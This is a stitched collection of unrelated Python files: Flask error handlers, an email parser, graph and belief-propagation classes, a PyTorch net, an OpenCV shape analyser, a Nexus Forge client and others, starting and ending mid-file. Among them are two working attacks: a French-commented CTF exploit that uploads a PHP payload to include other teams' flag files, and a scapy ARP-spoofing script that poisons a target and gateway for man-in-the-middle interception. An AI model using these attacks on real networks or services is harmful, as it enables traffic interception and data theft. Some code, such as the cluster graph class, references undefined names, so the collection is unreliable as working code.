        "success": False,
        "error": 422,
        "message": "unprocessable"
    }), 422

@app.errorhandler(404)
def notfound(error):
    return jsonify({
        "success": False,
        "error": 404,
        "message": "not found"
    }), 404

@app.errorhandler(AuthError)
def notauthenticated(error):
    return jsonify({
        "success": False,
        "error": error.code,
        "message": "Authentication Error"
    }), error.code

@app.errorhandler(401)
def unauthorized(error):
    return jsonify({
        "success": False,
        "error": 401,
        "message": "unauthorized"
    }), 401

@app.errorhandler(500)
def servererror(error):
    return jsonify({
        "success": False,
        "error": 500,
        "message": "server error"
    }), 500

@app.errorhandler(403)
def forbidden(error):
    return jsonify({
        "success": False,
        "error": 403,
        "message": "forbidden"
    }), 403


#!/usr/bin/python
# -*- coding: utf-8 -*-

# Exploit du service text_file_store
import sys
from lxml import html
import requests

if len(sys.argv) != 3 :
    print("Exploit du service text_file_store\n\nUsage : " +  __file__ + " [hostname] [target]\n[target] est l'ID du flag de la team participant au CTF");
    exit();

host = sys.argv[1]
target = sys.argv[2]
port = 20093

payload = {"text": """<?php
$dir = '/opt/ctf/text_file_store/rw/';
$files = scandir($dir);
$target_files = preg_grep('#^"""+target+"""_#', $files);
foreach ($target_files as $target_file){
 include($target_file);
}
?>
"""}

upload_resp = requests.get('http://'+host+':20093/uploadFile.php', params=payload)
upload_tree = html.fromstring(upload_resp.content)
flag_link = upload_tree.xpath('//a/@href')[0]
viewfile_resp = requests.get('http://'+host+':20093/'+flag_link)

print(viewfile_resp.text)


import re
import src.classes.logger
import src.libs.util
import email

class Parser:
    def __init__(self, config: dict, msg: email.message.EmailMessage, email_body: str) -> None:
        self.config = config
        self.email_as_dict = {
            'from': msg['from'],
            'subject': msg['subject'],
            'body': email_body
        }

    def parse(self) -> list:
        data = {}
        for parse_type in self.config:
            if parse_type == 'capture_text':
                for item in self.config['capture_text']:
                    for field, search_exp in self.config['capture_text'][item].items():
                        if search_exp != None:
                            result = re.search(search_exp, self.email_as_dict[item])
                            if result:
                                if result.group(1):
                                    print(result.group(1))
                                    data[field.split(',')[1]] = result.group(1)
                            if search_exp == "(.+)" and item == "body":
                                data[field.split(',')[1]] = self.email_as_dict[item]

            if parse_type == 'static_text':
                for field, value in self.config['static_text'].items():
                    data[field.split(',')[1]] = value
        return(data)


from node import Node

class Graph:
  def __init__(self, label, filename):
    """
    Initialise a graph with a given label.
    If filename is not None, load the graph from the file
    """
    self.label = label
    self.ids = []
    self.nodes = {}
    self.neigh = {}
    if filename:
        self.load(filename)

  def size(self):
    """
    Return the number of nodes in the graph
    """
    return len(self.nodes)

  def load(self, filename):
    """
    Load the graph from the given filename.
    Raise ValueError if a node with a duplicate
    id is added or if a relationship between
    nonexisting nodes is created
    """
    self.ids = []
    self.nodes = {}
    self.neigh = {}
    f = open(filename)
    for line in f:
        if not line.strip(): break
        i, l = map(str.strip, line.split(':'))
        if i in self.nodes:
            raise ValueError
        self.nodes[i] = Node(i, l)
        self.neigh[i] = []
        self.ids.append(i)

    for line in f:
        fr, l, to = map(str.strip, line.split(':'))
        if not l: l = None
        if fr not in self.nodes or to not in self.nodes:
            raise ValueError
        self.nodes[fr].add_neighbour(self.nodes[to], l)
        if l == None: l = ''
        self.neigh[fr].append((to, l))

  def output(self):
    """
    Prints the graph with nodes listed in sorted order
    of ids with their neighbours and neighbour labels
    If neighbour labels are None, print the empty
    string.
    Print empty brackets if a node has no neighbours
    e.g.
    (0: Bob) [1:son, 2:wife]
    (1: John) [0:father, 2:mother]
    (2: Jane) [0:husband, 1:son]
    (3: Greg) [1:friend]
    """
    for i in sorted(self.nodes.keys()):
        print(self.nodes[i], '[%s]' % ', '.join(':'.join(x) for x in sorted(self.neigh[i])))

  def degrees_of_separation(self, n1, n2):
    """
    Returns the minimum degrees of separation from
    n1 to n2, where n1 and n2 are ids.
    Each x on the path between n1
    and n2 fulfills the has_neighbour relationship.
    Return -1 if n1 and n2 are not connected.
    Raise ValueError if either n1 or n2 is not in
    this graph
    If n2 is a neighbour of n1, then there is
    1 degree of separation.
    e.g. graph.degrees_of_separation(n1, n2)
    """
    if n1 not in self.nodes or n2 not in self.nodes:
        raise ValueError
    adjMat = [[1 if self.nodes[i].has_neighbour(self.nodes[j], None) else 1<<29
        for j in self.ids]
            for i in self.ids]
    for k in range(self.size()):
        for i in range(self.size()):
            for j in range(self.size()):
                adjMat[i][j] = min(adjMat[i][j], adjMat[i][k] + adjMat[k][j])

    a = adjMat[self.ids.index(n1)][self.ids.index(n2)]
    if a == 1<<29: a = -1
    return 0 if n1 == n2 else a

  def get_node(self, id):
    """
    Returns the node with the given id
    Raise ValueError if no node with the id exists
    """
    if id not in self.nodes:
        raise ValueError
    return self.nodes[id]


import scapy.all as scapy
import time

# network scanner
def getmac(ip):
    arp_request=scapy.ARP(pdst=ip)
    broadcast=scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
    arp_request_broadcast=broadcast/arp_request

    answered_list=scapy.srp(arp_request_broadcast ,timeout=1 , verbose=False)[0]

    return answered_list[0][1].hwsrc

# mac sppofer
def spoof(target_ip,spoof_ip):

    target_mac=getmac(target_ip)

    packets=scapy.ARP(op=(2), pdst=target_ip , hwdst=target_mac , psrc=spoof_ip)
    scapy.send(packets ,verbose=False)

# restoring arp table to default

def restore(dest_ip,src_ip):
    dest_mac=getmac(dest_ip)
    src_mac=getmac(src_ip)
    packets=scapy.ARP(op=2, pdst=dest_ip , hwdst=dest_mac ,psrc=src_ip ,hwsrc=src_mac)
    scapy.send(packets ,count=4 , verbose=False)

# print(packets.show())
# print(packets.summary())

target_ip=input("Enter target IP:")
gateway_ip=input("Enter gateway IP:")

try:
    snt_pkt_cnt = 0

    while True:
        # spoofing client
        spoof(target_ip , gateway_ip)
        # sppofing gateway
        spoof(gateway_ip, target_ip)
        snt_pkt_cnt = snt_pkt_cnt + 2
        # dynamic linking with end
        print("\r [+] packet sent :" + str(snt_pkt_cnt), end="")
        time.sleep(2)
except KeyboardInterrupt:
    print("[+] restoring arp table")
    restore(target_ip, gateway_ip)
    restore(gateway_ip, target_ip)


from collections import deque

dx = [-1, 1, 0, 0]
dy = [0, 0, -1, 1]

def solution(rows, columns, max_virus, queries):
    answer = [[0] * columns for _ in range(rows)]

    q = deque(queries)
    while q:
        x, y = q.popleft()
        x -= 1
        y -= 1

        # 세균이 max_virus 미만인 경우
        if answer[x][y] < max_virus:
            answer[x][y] += 1

        # 세균이 max_virus인 경우
        elif answer[x][y] == max_virus:
            # 주변에 세균 증식이 가능한 정보를 담는 배열
            virus_proliferate_arr = deque([(x, y)])
            # 중복 방문을 피하기 위한 체크 배열
            visited = [[0] * columns for _ in range(rows)]
            while virus_proliferate_arr:
                vx, vy = virus_proliferate_arr.popleft()

                for i in range(4):
                    nx = dx[i] + vx
                    ny = dy[i] + vy

                    # 가능한 경로인지 체크
                    if 0 <= nx < rows and 0 <= ny < columns:
                        # 각 칸의 virus 수 확인 및 증식
                        if visited[nx][ny] == 0 and answer[nx][ny] < max_virus:
                            visited[nx][ny] = 1
                            answer[nx][ny] += 1

                        elif visited[nx][ny] == 0 and answer[nx][ny] == max_virus:
                            visited[nx][ny] = 1
                            virus_proliferate_arr.append((nx, ny))

    return answer

# 다른 코드
# def solution(rows, columns, max_virus, queries):

#     grid = [[0]*columns for _ in range(rows)]

#     def action(i, j):
#         stack = [(i, j)]
#         visited = set([(i, j)])
#         while stack:
#             i, j = stack.pop()
#             if grid[i][j] < max_virus:
#                 grid[i][j] += 1
#             else:
#                 for _i, _j in [(i, j+1), (i, j-1), (i+1, j), (i-1, j)]:
#                     if 0 <= _i < rows and 0 <= _j < columns and (_i, _j) not in visited:
#                         visited.add((_i, _j))
#                         stack.append((_i, _j))

#     for i, j in queries:
#         action(i-1, j-1)

#     return grid

print(solution(3, 4, 2, [[3, 2], [3, 2], [2, 2],
      [3, 2], [1, 4], [3, 2], [2, 3], [3, 1]]))


import sys
sys.stdin = open("input.txt", "r")
from pandas import DataFrame

N, K = map(int, input().split())

DP = [[0] * (N+1) for _ in range(K+1)]
# 0행: 0개의 수로 n의 값 만들기 => 모두 0
# 1행: 1개의 수로 n의 값 만들기 => 모두 1
for i in range(N+1):
    DP[1][i] = 1
# 0열: k개의 수로 0의 값 만들기 => 모두 1 (0, 0, 0...)
for j in range(K+1):
    DP[j][0] = 1

# DP 테이블 채우기
for r in range(2, K+1):
    for c in range(1, N+1):
        DP[r][c] = (DP[r][c - 1] + DP[r - 1][c]) % 1000000000

print(DP[K][N])


"""
******************
ClusterGraph Class
******************

This is a class for creating/manipulating Cluster Graphs,
and performing inference over them - currently the only
supported algorithm is Loopy Belief Propagation. Still,
the class structure is in place for easy addition of
any algorithms relying on the Cluster Graph framework.

NOTE: A cluster graph is a generalization of the clique tree
data structure - to generate a clique tree, you first generate
a cluster graph, then simply calculate a maximum spanning tree.
In other words, a clique tree can be considered as a special
type of cluster graph.

"""

__author__ = """Nicholas Cullen <ncullen.th@dartmouth.edu>"""

import numpy as np
import pandas as pd
import networkx as nx

from pyBN.classes.cliquetree import Clique

class ClusterGraph(object):
    """
    ClusterGraph Class

    """

    def __init__(self, bn):
        """
        Initialize a ClusterGraph object

        """
        self.BN = BN
        self.V = {} # key = cluster index, value = Cluster objects
        self.E = []
        self.G = None
        self.initialize_graph(method)
        self.beliefs = {} # dict where key = cluster idx, value = belief cpt

    def initialize_graph(self):
        """
        Initialize the structure of the cluster graph.

        """
        # generate graph structure
        self.bethe()
        # initialize beliefs
        for clique in self.V.values():
            clique.compute_psi()
        # initialize messages to 1
        self.initialize_messages()

    def bethe(self):
        """
        Generate Bethe cluster graph structure.
        """
        self.V = {}
        self.E = []

        factorization = Factorization(self.BN)
        prior_dict = {}
        for factor in factorization.f_list:
            # if factor is just a prior (i.e. already added as rv)
            if len(factor.scope) == 1:
                #self.V[len(self.V)] = Clique(scope=factor.scope)
                #self.V[len(self.V)-1].factors = [factor]
                prior_dict[factor.var] = factor
            if len(factor.scope) > 1:
                self.V[len(self.V)] = Clique(scope=factor.scope)
                self.V[len(self.V)-1].factors = [factor] # assign the factor
        sep_len = len(self.V)
        # First, add all individual random variables
        for rv in self.BN.V:
            # if rv is a prior, don't add it
            if rv in prior_dict.keys():
                factor = prior_dict[rv]
                self.V[len(self.V)] = Clique(scope=factor.scope)
                self.V[len(self.V)-1].factors = [factor]
            else:
                self.V[len(self.V)] = Clique(scope={rv})
                # create a new initial factor since it wont have one
                new_factor = Factor(BN=self.BN, var=rv, init_to_one=True)
                self.V[len(self.V)-1].factors = [new_factor]
        for i in range(sep_len):
            for j in range(sep_len,len(self.V)):
                if self.V[j].scope.issubset(self.V[i].scope):
                    self.E.append((i,j))

        new_G = nx.Graph()
        new_G.add_edges_from(self.E)
        self.G = new_G

    def initialize_messages(self):
        """
        For each edge (i-j) in the ClusterGraph,
        set delta_(i-j) = 1 and
        set delta_(j-i) = 1.
        (i.e. send a message from each parent to every child where the
            message is a df = 1)
        """
        for cluster in self.V:
            for neighbor in self.G.neighbors(cluster):
                self.V[cluster].send_initial_message(self.V[neighbor])

    def collect_beliefs(self):
        self.beliefs = {}
        for cluster in self.V:
            self.V[cluster].collect_beliefs()
            #print('Belief ' , cluster , ' : \n', self.V[cluster].belief.cpt)
            self.beliefs[cluster] = self.V[cluster].belief

    def loopy_belief_propagation(self, target, evidence, max_iter=100):
        """

        This is Message Passing (Loopy Belief Propagation) over a cluster graph.

        It is Sum-Product Belief Propagation in a cluster graph as shown in
        Koller p.397

        Notes:
            1. Definitely a problem due to normalization (prob vals way too small)
            2. Need to check the scope w.r.t. messages.. all clusters should not
               be accumulating rv's in their scope over the course of the algorithm.
        """
        # 1: Moralize the graph
        # 2: Triangluate
        # 3: Build a clique tree using max spanning
        # 4: Propagation of probabilities using message passing

        # creates clique tree and assigns factors, thus satisfying steps 1-3
        cgraph = copy.copy(self)
        G = cgraph.G

        edge_visit_dict = dict([(i,0) for i in cgraph.E])

        iteration = 0
        while not cgraph.is_calibrated():
            if iteration == max_iter:
                break
            if iteration % 50 == 0:
                print('Iteration: ' , iteration)
                for cluster in cgraph.V.values():
                    cluster.collect_beliefs()
            # select an edge
            e_idx = np.random.randint(0,len(cgraph.E))
            edge_select = cgraph.E[e_idx]
            p_idx = np.random.randint(0,2)
            parent_edge = edge_select[p_idx]
            child_edge = edge_select[np.abs(p_idx-1)]
            print(parent_edge , child_edge)

            # send a message along that edge
            cgraph.V[parent_edge].send_message(cgraph.V[child_edge])

            iteration += 1
        print('Now Collecting Beliefs..')
        self.collect_beliefs()
        self.BN.ctree = self


import torch
import torch.nn as nn
import torch.nn.functional as F

class Net(nn.Module):
    def __init__(self):
        # 继承了nn的Module类 内部封装了autograd 这个类的成员都是requires_grad=True 自动求导的
        super(Net, self).__init__()
        self.conv1 = nn.Conv2d(1, 6, 5)
        self.conv2 = nn.Conv2d(6, 16, 5)
        self.fc1 = nn.Linear(16 * 5 * 5, 120)
        self.fc2 = nn.Linear(120, 84)
        self.fc3 = nn.Linear(84, 10)

    def forward(self, x):
        # 卷积1 后接 relu1
        x = F.relu(self.conv1(x))
        # 最大池化1
        x = F.max_pool2d(x, (2, 2))
        # 卷积2 后接 relu2
        x = F.relu(self.conv2(x))
        # 最大池化2
        x = F.max_pool2d(x, (2, 2))
        # view就是reshape
        single_x_size = 1
        hwc_list = x.size()[1:]
        for hwc in hwc_list:
            single_x_size *= hwc
        x = x.view(-1, single_x_size)
        x = F.relu(self.fc1(x))
        x = F.relu(self.fc2(x))
        x = self.fc3(x)

        return x

def main():
    net = Net()
    # 权值参数
    params = list(net.parameters())
    #n c h w
    x = torch.randn(1, 1, 32, 32)
    out = net(x)
    print(params)
    # 得到前向计算结果
    print(out)
    # 将所有参数的梯度缓存清零 进行随机梯度下降反向传播
    net.zero_grad()
    out.backward(torch.randn(1, 10))

if __name__ == '__main__':
    main()


"""
Pretrain using Albert to get sentence-vector(embedding)
"""
import torch
import os

# configure gpu device
os.environ["CUDA_DEVICE_ORDER"]="PCI_BUS_ID"
os.environ['CUDA_VISIBLE_DEVICE']='7'
gpu_device = torch.device("cuda:7")

from transformers import AlbertTokenizer, AlbertModel
from loguru import logger
from tqdm import tqdm
import numpy as np
import math

class Pretrain:
    def __init__(self):
        # super(Pretrain, self).__init__()

        self.tokenizer = AlbertTokenizer.from_pretrained('albert-base-v2')          # initialize tokenizer
        self.model = AlbertModel.from_pretrained("albert-base-v2").to(gpu_device)   # initialize albert model(albert-base-v2)
        self.embedding_dim = self.model.config.hidden_size                          # dimension of embedding(equals to the dimension of output sentence vector)
        self.batch_size = 10                                                        # predict some samples one time
        self.sample_count = -1

    # step 1 - read file to get the sample count
    def set_sample_count(self, file_name):
        count = 0
        with open(file_name, 'r') as f_read:
            for line in f_read:
                count += 1
        self.sample_count = count
        logger.info("[Sample Count] {}", self.sample_count)

    # step 2 - read file to get generalized samples for tokenizing
    def read_generalized_sample(self, in_file, pointer):
        count = 0           # line number
        sample_list = []    # list of samples from file

        with open(in_file, 'r') as f_read:
            for line in tqdm(f_read):
                if count < pointer:
                    count += 1
                    continue
                elif count >= pointer and count < (pointer + self.batch_size):
                    count += 1
                    sample_list.append(line.strip())
                else:
                    break
            # update pointer
            pointer = count

        return sample_list, pointer

    # step 3 - word embedding based on Albert
    @logger.catch
    def word_embedding(self, in_file, pointer):
        is_first = True
        pooled_output = torch.empty(1, 768)
        # read file to get 50 samples
        text, new_pointer = self.read_generalized_sample(in_file, pointer)

        for tx in text:
            # tokenize
            input_ids = torch.tensor(self.tokenizer.encode(tx, add_special_tokens=True)).unsqueeze(0).to(gpu_device)
            # cut input_ids
            if len(input_ids[0]) > 512:
                input_ids = input_ids[:, :512]
            # predict
            output = self.model(input_ids)
            if is_first:
                pooled_output = output.pooler_output
                is_first = False
            else:
                pooled_output = torch.cat((pooled_output, output.pooler_output))

        return pooled_output, new_pointer

    # iterate to read file for word-embedding
    def iterate_word_embedding(self, in_file, out_file):
        logger.debug("Getting generalized samples from file: {}", in_file)
        logger.info("[Init Pointer] 0")
        pointer = 0     # initialize pointer

        # set sample count
        self.set_sample_count(in_file)
        file_count = math.ceil(self.sample_count / 15000)
        if file_count > 1:
            file_list = [ out_file.split('.data')[0]+'_'+str(i)+'.data' for i in range(0, file_count) ]

        while pointer < self.sample_count:
            # get samples and predict to get word-embedding
            pooled_output, new_pointer = self.word_embedding(in_file, pointer)

            # reset output file
            if file_count > 1:
                out_file = file_list[pointer // 15000]

            # first iteration, save result to file immediately
            if (pointer % 15000) == 0:
                torch.save(pooled_output, out_file)
            # otherwise, load file to concat the new result
            else:
                tmp = torch.load(out_file)
                tmp = torch.cat((tmp, pooled_output))
                torch.save(tmp, out_file)
                logger.info("[Output File] {} [Current Word-Embedding Size] {}", out_file, tmp.size())

            # update pointer
            pointer = new_pointer


#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Time    : 2018/9/19 下午6:34
# @Author  : Lynn
# @Site    :
# @File    : analysis.py
# @Software: PyCharm
import numpy as np
import imutils
import cv2
from PIL import Image
import time
import math
import pattern
from tools import *

############################################################################################
# 轮廓上的所有点
cnt_point = []
# 图形的顶点
vertex = []

no_shape = {
    '0': [],
    '1': [],
    '2': [],
    '3': [],
    '4': [],
    '5': [],
    '6': []
}

############################################################################################
# 初始化 vertex, cnt_point
def initial_cntpoint_and_vertex():
    for i in range(0, 7):
        cnt_point.append([])
        # vertex对每个图形存储对应顶点编号，如vertex[0][0]=(x,y)
        # vertex[0]第0个图形，vertex[0][0]第0个图形的第0个顶点
        vertex.append([])

############################################################################################
#形状分析
class Analysis:
    def __init__(self):
        self.shapes = {'triangle': 0, 'square': 0, 'polygons': 0, 'circles': 0,'parallelogram':0}
    def draw_text_info(self, image):
        c1 = self.shapes['triangle']
        c2 = self.shapes['square']
        c3 = self.shapes['polygons']
        c4 = self.shapes['circles']
        c5=self.shapes['parallelogram']
        cv2.putText(image, "triangle: "+str(c1), (10, 20), cv2.FONT_HERSHEY_PLAIN, 1.2, (255, 0, 0), 1)
        cv2.putText(image, "square: " + str(c2), (10, 40), cv2.FONT_HERSHEY_PLAIN, 1.2, (255, 0, 0), 1)
        cv2.putText(image, "parallelogram: " + str(c5), (10, 60), cv2.FONT_HERSHEY_PLAIN, 1.2, (255, 0, 0), 1)
        return  image
    # load the image, convert it to grayscale, blur it slightly,
    # and threshold it
    def analy(self, image):
        k=0
        hsv = cv2.cvtColor(image, cv2.COLOR_BGR2HSV)
        dict = getColorList()
        num = 0
        for d in dict:
            if d != 'gray' and d != 'white' and d != 'black':
                num += 1
                if num == 1:
                    thresh = cv2.inRange(hsv, dict[d][0], dict[d][1])
                if len(dict[d])==4:
                    mask1=cv2.inRange(hsv, dict[d][0], dict[d][1])
                    mask2=cv2.inRange(hsv, dict[d][2], dict[d][3])
                    mask = cv2.addWeighted(mask1, 1, mask2, 1, 0)
                else:
                    mask = cv2.inRange(hsv, dict[d][0], dict[d][1])
                #cv2.imshow(d,mask)
                #cv2.waitKey(0)
                thresh = cv2.addWeighted(thresh, 1, mask, 1, 0)
        #
        cv2.imshow('thresh inital', thresh)
        blurred = cv2.GaussianBlur(thresh, (5, 5), 0)
        #show the GaussianBlur picture
        cv2.imshow('GaussianBlur', blurred)
        ret, thresh = cv2.threshold(blurred, 60, 255, cv2.THRESH_BINARY)
        #test for threshold
        cv2.imshow('threshold', thresh)
        cv2.waitKey(0)
        #生成kernel:
        # array([[1, 1, 1, 1, 1],
        #        [1, 1, 1, 1, 1],
        #        [1, 1, 1, 1, 1],
        #        [1, 1, 1, 1, 1],
        #        [1, 1, 1, 1, 1]], dtype=uint8)
        # kernel = np.ones(5,5)
        kernel = cv2.getStructuringElement(cv2.MORPH_RECT, (5, 5))
        #进行闭运算，形成封闭图形
        closed = cv2.morphologyEx(thresh, cv2.MORPH_CLOSE, kernel)
        #腐蚀图像
        closed = cv2.erode(closed, None, iterations=4)
        #膨胀图像
        thresh = cv2.dilate(closed, None, iterations=4)
        # findContours：基于二值图像寻找物体的轮廓
        #       image:      二值图像
        #       mode:       定义轮廓检索模式
        #       method:     定义轮廓近似方法
        #       return:     contours：hierarchy
        cnts = cv2.findContours(thresh.copy(), cv2.RETR_EXTERNAL,
                                cv2.CHAIN_APPROX_SIMPLE)
        cnts = cnts[0] if imutils.is_cv2() else cnts[1]
        #print(len(cnts))
        # loop over the contours
        for c in cnts:
            #print(c)
            # 轮廓逼近
            epsilon = 0.05 * cv2.arcLength(c, True) # 计算轮廓周长
            approx = cv2.approxPolyDP(c, epsilon, True)
            # 分析几何形状
            corners = len(approx)
            shape_type = ""
            # 图形顶点
            for i in range(0, len(approx)):
                p = Point()
                p.x = approx[i][0][0]
                p.y = approx[i][0][1]
                vertex[k].append(p)
                cv2.circle(image, (approx[i][0][0], approx[i][0][1]), 2, (255, 0, 0), 2)
            if corners == 3:
                count = self.shapes['triangle']
                count = count + 1
                self.shapes['triangle'] = count
                shape_type = "triangle"
                # 编号
                # ul为三角形的直角顶点
                u1 = max_distance(vertex[k][0], vertex[k][1], vertex[k][2])
                # 前两个存斜边顶点，第三个存直角顶点,直角点存y小的
                if u1 != vertex[k][2]:
                    if vertex[k][0] == u1:
                        vertex[k][0] = vertex[k][2]
                    else:
                        vertex[k][1] = vertex[k][2]
                    vertex[k][2] = u1
                if (vertex[k][0].y > vertex[k][1].y):
                    t = vertex[k][1]
                    vertex[k][1] = vertex[k][0]
                    vertex[k][0] = t
            if corners == 4:
                # 用红色表示有旋转角度的矩形框架
                rect = cv2.minAreaRect(approx)
                w=rect[1][0]
                h=rect[1][1]
                ar=w/float(h)
                print(ar)
                box = cv2.boxPoints(rect)
                box = np.int0(box)
                cv2.drawContours(image, [box], 0, (0, 0, 255), 2)
                if ar>=0.70 and ar<=2.00:
                    count = self.shapes['square']
                    count = count + 1
                    self.shapes['square'] = count
                    shape_type = "square"
                    # 正方形编号
                    min = Xmin(vertex[k])
                else:
                    count=self.shapes['parallelogram']
                    count=count+1
                    self.shapes['parallelogram']=count
                    shape_type="parallelogram"
                    """
                    for i in range(0,4):
                        print(str(vertex[k][i].x) + "," + str(vertex[k][i].y))
                        print(str(box[i][0]) + "," + str(box[i][1]))
                        """
                    # 对平行四边形进行编号（与box重合的点为0）
                    break_flag = False
                    while break_flag == False:
                        for i in range(0, 4):
                            while break_flag == False:
                                for j in range(0, 4):
                                    if abs(vertex[k][i].x - box[j][0]) <= 10 and abs(
                                            vertex[k][i].y - box[j][1]) <= 10:
                                        min = i
                                        #print(min)
                                        break_flag = True
                if min != 0:
                    Reverse(vertex[k], min, 3)
                    Reverse(vertex[k], 0, min - 1)
                    Reverse(vertex[k], 0, 3)
            if corners >= 10:
                count = self.shapes['circles']
                count = count + 1
                self.shapes['circles'] = count
                shape_type = "circles"
            if 4 < corners < 10:
                count = self.shapes['polygons']
                count = count + 1
                self.shapes['polygons'] = count
                shape_type = "polygons"
            M = cv2.moments(c)
            cX = int(M["m10"] / M["m00"])
            cY = int(M["m01"] / M["m00"])
            im = Image.fromarray(cv2.cvtColor(image, cv2.COLOR_BGR2RGB))
            #根据螺丝的半径，圆心重新确定识别的点（cx-R,cy-R)
            color=Color(cX-5,cY-5,im)
            #color=Color(vertex[k][0].x,vertex[k][0].y,im)
            # draw the contour and center of the shape on the image
            cv2.drawContours(image, [c], -1, (0, 255, 0), 1)
            cv2.putText(image, str(color)+" "+shape_type, (cX - 20, cY - 20),
                        cv2.FONT_HERSHEY_SIMPLEX, 0.5, (255, 255, 255), 2)
            cv2.circle(image, (cX,cY), 2, (255, 0, 0), 2)
            no_shape[str(k)].append(shape_type)
            no_shape[str(k)].append(color)
            no_shape[str(k)].append((cX, cY))
            for i in range(0,len(vertex[k])):
                cv2.putText(image,str(i),(vertex[k][i].x,vertex[k][i].y),cv2.FONT_HERSHEY_SIMPLEX, 0.5, (255, 255, 255), 2)
            k+=1
        cv2.imshow("Analysis Result", self.draw_text_info(image))
        cv2.imwrite("image/pattern.jpg",image)
        cv2.waitKey(0)


# -*- coding: utf-8 -*-
"""
Created on Tue Dec 12 15:05:39 2017

@author: Isaac
"""

import readIni as appIni

expFileName = ''
# =============================================================================
# export to csv
# Input args:
# - dfExport - dataframe with the following columns
#   - username
#   - datetime.time (median checkin time)
#   - datetime.time (median checkout time)
# - fname - CSV filename (with default value)
#
# Output: None
# =============================================================================
def export2CSV (dfExport, fname=expFileName):
    dfExport.to_csv (fname)

# =============================================================================

# =============================================================================
#  Grab the settings from config.ini - set defaults if missing
# =============================================================================
sectionNames = {'Exports':'Exports'}
keyNames = {'exportFile':'exportFile'}
defaultFilters = {'ExportFileName':'Badge In-Out Median.csv'}

bOK, expFileName = appIni.get_sectionKeyValues (sectionNames['Exports'], keyNames['exportFile'])
if (bOK == False):
    print ("[INI] section '{0}', name '{1}' not found. defaulting to '{2}'".format(sectionNames['Exports'],
              keyNames['exportFile']),
              defaultFilters['ExportFileName'])

if (expFileName is None or expFileName.strip() == ''):
    expFileName = defaultFilters['ExportFileName']


from lib_root.utilities.c_sharp import (
    yield_syntax_graph_object_creation,
)
from model.core_model import (
    MethodsEnum,
)
from model.graph_model import (
    Graph,
)
from symbolic_eval.evaluate import (
    evaluate,
)
from symbolic_eval.utils import (
    get_backward_paths,
)

def is_insecure_header(graph: Graph, n_id: str, method: MethodsEnum) -> bool:
    for path in get_backward_paths(graph, n_id):
        evaluation = evaluate(method, graph, path, n_id)
        if evaluation and evaluation.danger:
            return True
    return False

def insecure_http_headers(graph: Graph, method: MethodsEnum) -> list[str]:
    vuln_nodes: list[str] = []
    for n_id in yield_syntax_graph_object_creation(graph, {"HttpHeaders"}):
        if is_insecure_header(graph, n_id, method):
            vuln_nodes.append(n_id)

    return vuln_nodes


"""Nexus Forge access point used by the Nexus access point"""

import getpass
import json
import logging
import pathlib

import jwt
from bluepyentity.state import refresh_token
from kgforge.core import KnowledgeGraphForge
from kgforge.core import Resource
from kgforge.core.commons.strategies import ResolvingStrategy
from kgforge.specializations.resources import Dataset

from bluepyemodel.efeatures_extraction.targets_configuration import TargetsConfiguration
from bluepyemodel.emodel_pipeline.emodel import EModel
from bluepyemodel.emodel_pipeline.emodel_settings import EModelPipelineSettings
from bluepyemodel.emodel_pipeline.emodel_workflow import EModelWorkflow
from bluepyemodel.evaluation.fitness_calculator_configuration import FitnessCalculatorConfiguration
from bluepyemodel.model.distribution_configuration import DistributionConfiguration
from bluepyemodel.model.neuron_model_configuration import NeuronModelConfiguration
from bluepyemodel.tools.utils import yesno

logger = logging.getLogger("__main__")

# pylint: disable=bare-except,consider-iterating-dictionary

CLASS_TO_NEXUS_TYPE = {
    "TargetsConfiguration": "ExtractionTargetsConfiguration",
    "EModelPipelineSettings": "EModelPipelineSettings",
    "FitnessCalculatorConfiguration": "FitnessCalculatorConfiguration",
    "NeuronModelConfiguration": "EModelConfiguration",
    "EModel": "EModel",
    "DistributionConfiguration": "EModelChannelDistribution",
    "EModelWorkflow": "EModelWorkflow",
}

CLASS_TO_RESOURCE_NAME = {
    "TargetsConfiguration": "ETC",
    "EModelPipelineSettings": "EMPS",
    "FitnessCalculatorConfiguration": "FCC",
    "NeuronModelConfiguration": "EMC",
    "EModel": "EM",
    "DistributionConfiguration": "EMCD",
    "EModelWorkflow": "EMW",
}

NEXUS_TYPE_TO_CLASS = {
    "ExtractionTargetsConfiguration": TargetsConfiguration,
    "EModelPipelineSettings": EModelPipelineSettings,
    "FitnessCalculatorConfiguration": FitnessCalculatorConfiguration,
    "EModelConfiguration": NeuronModelConfiguration,
    "EModel": EModel,
    "EModelChannelDistribution": DistributionConfiguration,
    "EModelWorkflow": EModelWorkflow,
}

NEXUS_ENTRIES = [
    "objectOfStudy",
    "contribution",
    "type",
    "id",
    "distribution",
    "@type",
    "annotation",
    "name",
]

class AccessPointException(Exception):
    """For Exceptions related to the NexusForgeAccessPoint"""

class NexusForgeAccessPoint:
    """Access point to Nexus Knowledge Graph using Nexus Forge"""

    def __init__(
        self,
        project="emodel_pipeline",
        organisation="demo",
        endpoint="https://bbp.epfl.ch/nexus/v1",
        forge_path=None,
        limit=5000,
        debug=False,
        cross_bucket=True,
        access_token=None,
        search_endpoint="sparql",
    ):

        self.limit = limit
        self.debug = debug
        self.cross_bucket = cross_bucket
        self.search_endpoint = search_endpoint

        self.access_token = access_token
        if not self.access_token:
            self.access_token = self.get_access_token()

        bucket = organisation + "/" + project
        self.forge = self.connect_forge(bucket, endpoint, self.access_token, forge_path)

        decoded_token = jwt.decode(self.access_token, options={"verify_signature": False})
        self.agent = self.forge.reshape(
            self.forge.from_json(decoded_token), keep=["name", "email", "sub", "preferred_username"]
        )
        self.agent.id = decoded_token["sub"]
        self.agent.type = ["Person", "Agent"]

        self._available_etypes = None
        self._available_mtypes = None
        self._available_ttypes = None

    @property
    def available_etypes(self):
        """List of ids of available etypes in this forge graph"""
        if self._available_etypes is None:
            self._available_etypes = self.get_available_etypes()
        return self._available_etypes

    @property
    def available_mtypes(self):
        """List of ids of available mtypes in this forge graph"""
        if self._available_mtypes is None:
            self._available_mtypes = self.get_available_mtypes()
        return self._available_mtypes

    @property
    def available_ttypes(self):
        """List of ids of available ttypes in this forge graph"""
        if self._available_ttypes is None:
            self._available_ttypes = self.get_available_ttypes()
        return self._available_ttypes

    def get_available_etypes(self):
        """Returns a list of nexus ids of all the etype resources using sparql"""
        query = """
            SELECT ?e_type_id

            WHERE {{
                    ?e_type_id label ?e_type ;
                        subClassOf* EType ;
            }}
        """
        # should we use self.limit here?
        resources = self.forge.sparql(query, limit=self.limit)
        if resources is None:
            return []
        return [r.e_type_id for r in resources]

    def get_available_mtypes(self):
        """Returns a list of nexus ids of all the mtype resources using sparql"""
        query = """
            SELECT ?m_type_id

            WHERE {{
